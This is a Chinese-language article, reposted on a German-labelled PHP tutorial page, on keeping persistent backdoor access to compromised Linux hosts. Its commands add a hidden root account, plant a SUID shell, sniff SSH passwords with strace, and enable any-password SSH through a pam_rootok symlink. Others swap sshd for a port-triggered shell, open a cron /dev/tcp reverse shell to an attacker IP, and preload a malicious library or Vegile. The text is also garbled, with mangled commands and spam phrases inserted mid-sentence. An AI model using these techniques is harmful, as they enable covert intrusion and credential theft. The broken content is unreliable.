Heim  >  Artikel  >  System-Tutorial  >  Analyse gängiger Backdoor-Technologien zur Berechtigungsverwaltung unter Linux

Analyse gängiger Backdoor-Technologien zur Berechtigungsverwaltung unter Linux

WBOY
WBOYOriginal
2024-06-02 15:11:33466Durchsuche

在渗透过程中领到目标权限只是开始,一般会留下侧门便于再度访问(简称APT)。因而须要进行权限维持,隐藏侧门。本文将对Linux下常见的权限维持侧门技术进行解析,知已知彼百战不殆。

1.添加root帐户

原理:降低root密码为password的root用户

<span class="code-snippet_outer"><span style="font-size: 17px">useradd -u -0 -o -g root -G root:password|chpasswd</span></span>

上述命令可能会加不上,若加不上则两条命令分开执行

<span class="code-snippet_outer"><span style="font-size: 17px">useradd -u 0 -o -g root -G root root echo root:root | chpasswd</span></span>

若果仍然失败

<span class="code-snippet_outer">perl -e'printcrypt(<span class="code-snippet__string">"Poker"</span>,<span class="code-snippet__string">"AA"</span>). <span class="code-snippet__string">"n"</span>'密码为Poker</span></code><code><span class="code-snippet_outer">echo <span class="code-snippet__string">"backdoor:AALvujjdsfdsf:0:0:me:/root:/bin/bash"</span>>>/etc/passwd <span class="code-snippet__comment">#Aalv…为第一行命令执行结果</span></span>

2.设置suid权限位

原理:设置了suid权限位的文件在执行时具有该文件拥有者的权限,故我们可以在root权限时留一个bash文件侧门,致使在低权限时才能通过该侧门获得root权限

<span class="code-snippet_outer">cp /bin/bash/tmp/<span class="code-snippet__built_in">test</span></span></code><code><span class="code-snippet_outer">chmod 4755 /tmp/<span class="code-snippet__built_in">test</span> <span class="code-snippet__comment">#或者chmod u+s /tmp/test</span></span></code><code><span class="code-snippet_outer">/tmp/<span class="code-snippet__built_in">test</span> -p <span class="code-snippet__comment">#因为在bash2中添加了防护措施,无法直接获取rootshell。使用-p参数获取</span></span>

3.bash环境文件

原理:bash环境文件/etc/profile,~/.bash_profile,~/.bashrc,~/.bash_logout等linux 加执行权限,这种文件本质上是脚本文件,当用户登入系统后,会相继执行其中的部份文件,在其中写入bash命令即可在用户登入时执行。(不通操作系统文件不同)

4.写入SSH私钥

原理:Linux主机打开了SSH时默认也开启了秘钥登录,故写入ssh私钥,即可留下一条控制系统的路

ssh-keygen-trsa#生成ssh秘钥对,私钥会带有当前主机的用户名和主机

5.strace记录认证信息

原理:strace拿来跟踪一个进程执行时所形成的系统调用linux 加执行权限,或则说是拿来监视系统调用的,它可以监视一个新进行的系统调用,也可以监视早已在运行系统调用,可以获得到参数、返回值、执行时间等,这么我们就可以借助他来监视sshd进程,获取用ssh登录的帐户密码。

<span class="code-snippet_outer"><span style="font-size: 17px">pid ='ps -ef |grep</span></span></code><code><span class="code-snippet_outer"><span style="font-size: 17px">"sshd -D" grep -v grep| awk {'print $2'}'</span></span></code><code><span class="code-snippet_outer"><span style="font-size: 17px">strace -f -p $pid -o</span></span></code><code><span class="code-snippet_outer"><span style="font-size: 17px">/tmp/.sshOutput_"date+%Y%m%d%H%M%S".log -e trace=write -s 2048 &</span></span></code><code><span class="code-snippet_outer"><span style="font-size: 17px">#  该命令用来跟踪sshd进程,可以记录登录本机的ssh密码,坐等管理员ssh登录,查看日志文件,在日志中搜索</span></span>

grep-n"write(4,"\\0\\0\\0\\"/tmp/.ssh.log)

linux执行权限_linux 加执行权限_权限管理linux

<span class="code-snippet_outer"><span class="code-snippet__built_in">alias</span> ssh=<span class="code-snippet__string">'strace -o /tmp/.sshOutput_"date+%Y%m%d%H%M%S".log -e trace=write -s 2048 ssh'</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#该命令为启用ssh登录程序是,跟踪该进程,可记录利用ssh登录背的主机密码在日志中直接搜索"password"字符串即可</span></span>

6.SSH任意密码登入侧门

原理:SSH登入默认使用PAM进行认证,而在root条件下,部份命令例如sulinux使用教程,chfn等在执行时,无需使用密码,由于这种命令在PAM认证时使用了pam_rootok.so进行认证:pam_rootok.so:主要作用为使uid=0的帐户在认证时直接通过PAM在认证时,以命名名子在/etc/pam.d/目录下查找,PAM配置文件。

部份配置文件中,对于认证采用了pam_rootook.so,而且使用了sufficient控制标记:

suthsufficientpam_rootok.so

则可以将sshd链接到使用rootok.so进行认证的命令上,并新开一个端口。

<span class="code-snippet_outer"><span style="font-size: 17px">ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=65534 #任意条命令就行</span></span></code><code><span class="code-snippet_outer"><span style="font-size: 17px">ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsn -oPort=12345</span></span></code><code><span class="code-snippet_outer"><span style="font-size: 17px">ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oPort=12345</span></span>

直接使用ssh-p65534x.x.x.x登陆,密码随便输入

7.SSH认证流程侧门

原理:ssh登陆时,系统处理登入恳求的文件时usr/sbin/sshd,这么就可以更改该文件,在登陆时执行特定操作。

<span class="code-snippet_outer"><span style="font-size: 17px">cd /usr/sbin</span></span></code><code><span class="code-snippet_outer"><span style="font-size: 17px">mv sshd ../bin#将正常sshd文件移走,这里可以移到任何地方</span></span></code><code><span class="code-snippet_outer"><span style="font-size: 17px">echo '#!/usr/bin/perl' > sshd</span></span></code><code><span class="code-snippet_outer"><span style="font-size: 17px">echo 'exec "/bin/bash -i" if (getpeername(STDIN) =-/^..LF/);' >>sshd #当登录的源端口为19526时,直接返回一个shell</span></span></code><code><span class="code-snippet_outer"><span style="font-size: 17px">echo 'exec {"/usr/bin/sshd"}</span></span></code><code><span class="code-snippet_outer"><span style="font-size: 17px">"/usr/sbin/sshd",@ARGV,' >>sshd #若不是19526端口,则执行正常ssh登录流程,这里花括号里的路径是前面第二条命令的sshd路径</span></span></code><code><span class="code-snippet_outer"><span style="font-size: 17px">chmod u+x sshd</span></span></code><code><span class="code-snippet_outer"><span style="font-size: 17px">service sshd restart</span></span></code><code><span class="code-snippet_outer">
</span></code><code><span class="code-snippet_outer"><span style="font-size: 17px">socat STDIO TCP4:192.16.177.178:22.bind=:19526 #攻击机上执行,或者</span></span></code><code><span class="code-snippet_outer"><span style="font-size: 17px">socat STDTO TCP4:192.168.2.11:22,souccport=19526</span></span>

8.Vimpython2扩充侧门

原理:vim安装时默认安装了当前服务器的python版本的扩充,倘若是python2这么都会有python2的扩充,倘若是python3,这么都会有python3的扩充,借助该扩充,可以用vim执行python脚本。

<span class="code-snippet_outer"><span style="font-size: 17px">vim -version #查看python扩展版本</span></span>

<span class="code-snippet_outer"><span style="font-size: 17px">cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c"pyfile dir.py"> /dev/null 2>&1 &) && sleep 2&& rm -f dir.py #victim主机上执行,其中dir.py可以是异常的py文件(此处dir.py为一个反弹shell的脚本)python3失效了</span></span>

9.终端解析r隐藏文本

原理:shell在解析r时会忽视掉r前的信息,故,使用该特性隐藏webshell代码

<span class="code-snippet_outer"><span style="font-size: 17px">echo -e"r">/var/www/html/test.php</span></span>

10.计划任务

原理:写入计划任务,定期执行特定的命令。

使用crontab创建计划任务

<span class="code-snippet_outer"><span style="font-size: 17px">echo -e "*/1 * * * * exec 9/dev/tcp/172.16.177.1/9888;exec 0&9 2>&</span></span>

1;/bin/bash--noprofile-i"|crontab-#该命令会更改/var/spool/cron/下对应用户的文件,如root用户执行该命令,则会更改目录下root文件,也相当于crontab-e

还有许多其它执行计划任务的文件及相关文件

11.预加载动态链接库

原理:系统执行一些命令的时侯,在真正执行其文件之前linux命令tar,会加载相应的动态链接库,但linux提供了一个可以加载自定义动态链接库的方法,而且比加载正常动态链接库更早,故可以借助此特性设置自定义加载恶意动态链接库。

<span class="code-snippet_outer"><span style="font-size: 17px">export LD_PRELOAD=/usr/lib/cub3.so.1       #http://github.com/mempodippy/cub3</span></span>

取消命令:unsetLD_PRELOAD

第二种:Vegile侧门

<span class="code-snippet_outer"><span style="font-size: 17px">git clone https://github.com/Screetsec/Vegile.git</span></span></code><code><span class="code-snippet_outer"><span style="font-size: 17px">cd Vegile</span></span></code><code><span class="code-snippet_outer"><span style="font-size: 17px">chmod +x Vegile</span></span></code><code><span class="code-snippet_outer"><span style="font-size: 17px">./vegile --u malware #malware为MSF的上线ELF文件</span></span>

这个侧门会生成多个恶意文件和进程

/usr/bin/screetsec

/usr/bin/debug

/usr/bin/tracker

/usr/bin/supervisited

/usr/bin/rma

这种恶意文件,此时MSF窃听器会收到回调联接,但是断掉以后就会继续下挫,进程也难以杀害。

Das obige ist der detaillierte Inhalt vonAnalyse gängiger Backdoor-Technologien zur Berechtigungsverwaltung unter Linux. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Vorheriger Artikel:Linux-LeistungsüberwachungNächster Artikel:Linux-Leistungsüberwachung